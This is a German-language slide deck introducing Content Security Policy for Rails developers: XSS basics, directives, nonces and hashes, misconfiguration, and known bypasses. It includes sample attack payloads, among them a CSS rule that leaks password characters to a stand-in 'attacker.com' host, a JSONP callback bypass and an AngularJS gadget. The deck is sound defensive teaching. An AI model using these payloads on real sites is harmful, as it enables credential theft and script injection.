Grundidee
CSP hat zum Ziel einen Browser-seitigen Mechanismus zu schaffen um einige Angriffe auf Webseiten zu verhindern, hauptsächlich XSS-Angriffe.
Einschub: Was ist XSS?
XSS = Cross Site Scripting. Passiert wenn ein User ungefiltertes HTML in die Webseite einfügen kann.
<div class="comment">
Danke für den interessanten Beitrag! <script>alert('you have been hacked')</script>
</div>
Rails löst das Problem weitgehend, aber
- Programmierfehler weiter möglich
- manchmal Sicherheitslücken in Gems oder Rails
Lösungsidee
Warum nicht dem Browser verbieten gefährliche Dinge zu tun, z.B. Inline-Skripte auszuführen?
Funktionsweise
Server setzt einen HTTP-Header, der detailliert beschreibt, welche (potentiell gefährlichen Dinge) die Webseite tun darf.
Support: Alle modernen Browser, nicht IE.
Beispiel Header:
content-security-policy:
default-src 'self' https:;
font-src 'self' https: data:;
img-src 'self' https: data: http://www.gravatar.com;
object-src 'none';
script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g==';
style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
connect-src 'self' https: wss:;
(vermutlich keine besonders optimale Einstellung!)
Z.B bedeutet
img-src 'self' https: data: http://www.gravatar.com;
Bilder dürfen geladen werden von
- dem eigenen Origin
- allen https:// -Seiten
- aus "data:"-Urls
- von http://www.gravatar.com
Was passiert wenn die Seite eine Regel bricht?
Was kann man einschränken?
Der Standard wächst ständig, aber die wichtigsten sind:
Quellen:
- default-src: Fallback für alles weitere *-src
- script-src: JavaScript
- style-src: CSS
- font-src: Fonts
- img-src: Bilder
- object-src: Quellen für Plugins (z.B. Flash)
- connect-src: Ziele für XMLHttpRequest, WebSocket, Fetch etc.
-
media-src: Quelle für
<audio>
,<video>
, etc. - frame-src: Quelle für iframes
- worker-src: Quelle für Webworker
- child-src: Kombination für frame-src und worker-src
Andere:
- base-uri und form-action: Schränken erlaubte Ziele von Formularen ein.
- frame-ancestors: Beschränkt, wer uns als iframe einbetten darf.
- block-all-mixed-content: Verbietet http:// wenn Origin https://.
- upgrade-insecure-request: Ersetzt automatisch http:// durch https://.
script-src
Ist die wichtigste Direktive. Alles was hier erlaubt ist, kann via XSS abused werden.
style-src
Warum ist das relevant?
- Erlaubt "Defacing" der ganzen Webseite.
- Es gibt darüber hinaus auch andere Angriffe via CSS:
input[type="password"][value$="a"] {
background-image: url("http://attacker.com/passwords-ends-with/a");
}
Problem: Manche Javascript-Libraries (Editoren etc) verwenden Inline-Styles.
object-src
Auch wichtig. Wenn nicht eingeschränkt, können Leute Flash laden und wieder alles machen.
Wie kann man einschränken?
Leicht unterschiedlich pro Eintrag, aber z.B. für script-src:
- 'self': eigener Origin
-
Host: z.B.
http://*.example.com
-
Protokol: z.B.
https:
,blob:
,data:
-
'unsafe-eval': erlaubt Verwendung von
eval
um beliebige Stinrgs zu JavaScript zu machen -
'unsafe-inline': erlaubt Inline-Scripts und
javascript:...
-URLs - 'none': erlaubt keinerlei Quellen
- 'sha256-base64': erlaubt Skripte die einem SHA256 matchen (siehe unten)
- 'nonce-base64': erlaubt mit Nonce markierte Skripte (siehe unten)
Skripte mit Hash erlauben
Es ist möglich ein spezielles Skript zu erlauben (wenn man z.B. von einem CDN verlinken möchte).
Dazu kann man den SHA256 des Skripts berechnen und dann erlauben.
z.B. für https://code.jquery.com/jquery-3.5.1.slim.min.js:
script-src 'sha256-4+XzXVhsDmqanXGHaHvgh1gMQKX40OUvDEBTu8JcmNs='
Inline-Skripte mit Nonces erlauben
Falls man doch ein Inline-Skript braucht (z.B. Analytics-Snippet o.ä.), kann man den nonce
-Mechanismus verwenden.
Dazu generiert der Server für jeden Request einen zufälligen Wert (eine "Nonce"), und schreibt ihn in Header und an das Skript-Tag:
script-src 'self' 'nonce-vX6tGWVUj9kl5hgbN2xh7g=='
<script nonce="vX6tGWVUj9kl5hgbN2xh7g==">
// this is allowed to run
</script>
Here are some useful examples, how to add inline styles and scripts with nonce to a HAML file:
%style{type: "text/css", nonce: content_security_policy_nonce}
:plain
body {
background-color: blue;
}
= javascript_tag nonce: true do
:plain
window.addEventListener('load', () => {
...
});
CSP mit Rails
Demo
- Konfiguration via
config/initializer/content_security_policy.rb
- Überschreiben in einzelnen Controllern
- Nonce-Support für
javascript_tag
Probleme mit CSP
Fehlkonfiguration
Quiz: Wo ist das Problem?
Content-Security-Policy: script-src https://google.com 'unsafe-inline' 'self';
Content-Security-Policy: script-src 'self' https:;
Content-Security-Policy: script-src 'self' data:;
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/;
Content-Security-Policy: script-src 'self';
Nicht-offensichtliche Angriffe auf CSP
Wichtiges Paper 2016: CSP Is Dead, Long Live CSP! Show archive.org snapshot
Ergebnis: ~ 95% vorhandener CSP-Policies bieten keinen Schutz
Grund 1
Meist offensichtliche Fehlkonfiguration (Wildcards, unsichere Domains, object-src fehlt etc)
Grund 2
Bibliothek mit JSONP ist gewhitelistet:
<script src="https://whitelisted.com/path/jsonp?callback=alert(document.domain)//"> </script>
Grund 3
"JavaScript reflection gadget", Bibliothek erlaubt einen Weg DOM-Inhalte zu Code zu machen. Beispiel.
<script src="https://whitelisted.com/angular.js"></script>
<div ng-app>{{ 1000 - 1 }}</div>
Grund 4
User kann Javascript zur Domain hochladen.
Wichtig: User darf nie Dateien hochladen können, die mit Content-Type application/javascript
(oder aus anderen Gründen auch text/html
) ausgeliefert werden.
Mögliche Lösung
Vorschlag aus dem Paper ist, immer das hier zu nutzen:
script-src 'nonce-<random>'; default-src 'none'
Danke
Fragen?
Folien unter https://makandracards.com/makandra/482827-content-security-policy-eine-einfuehrung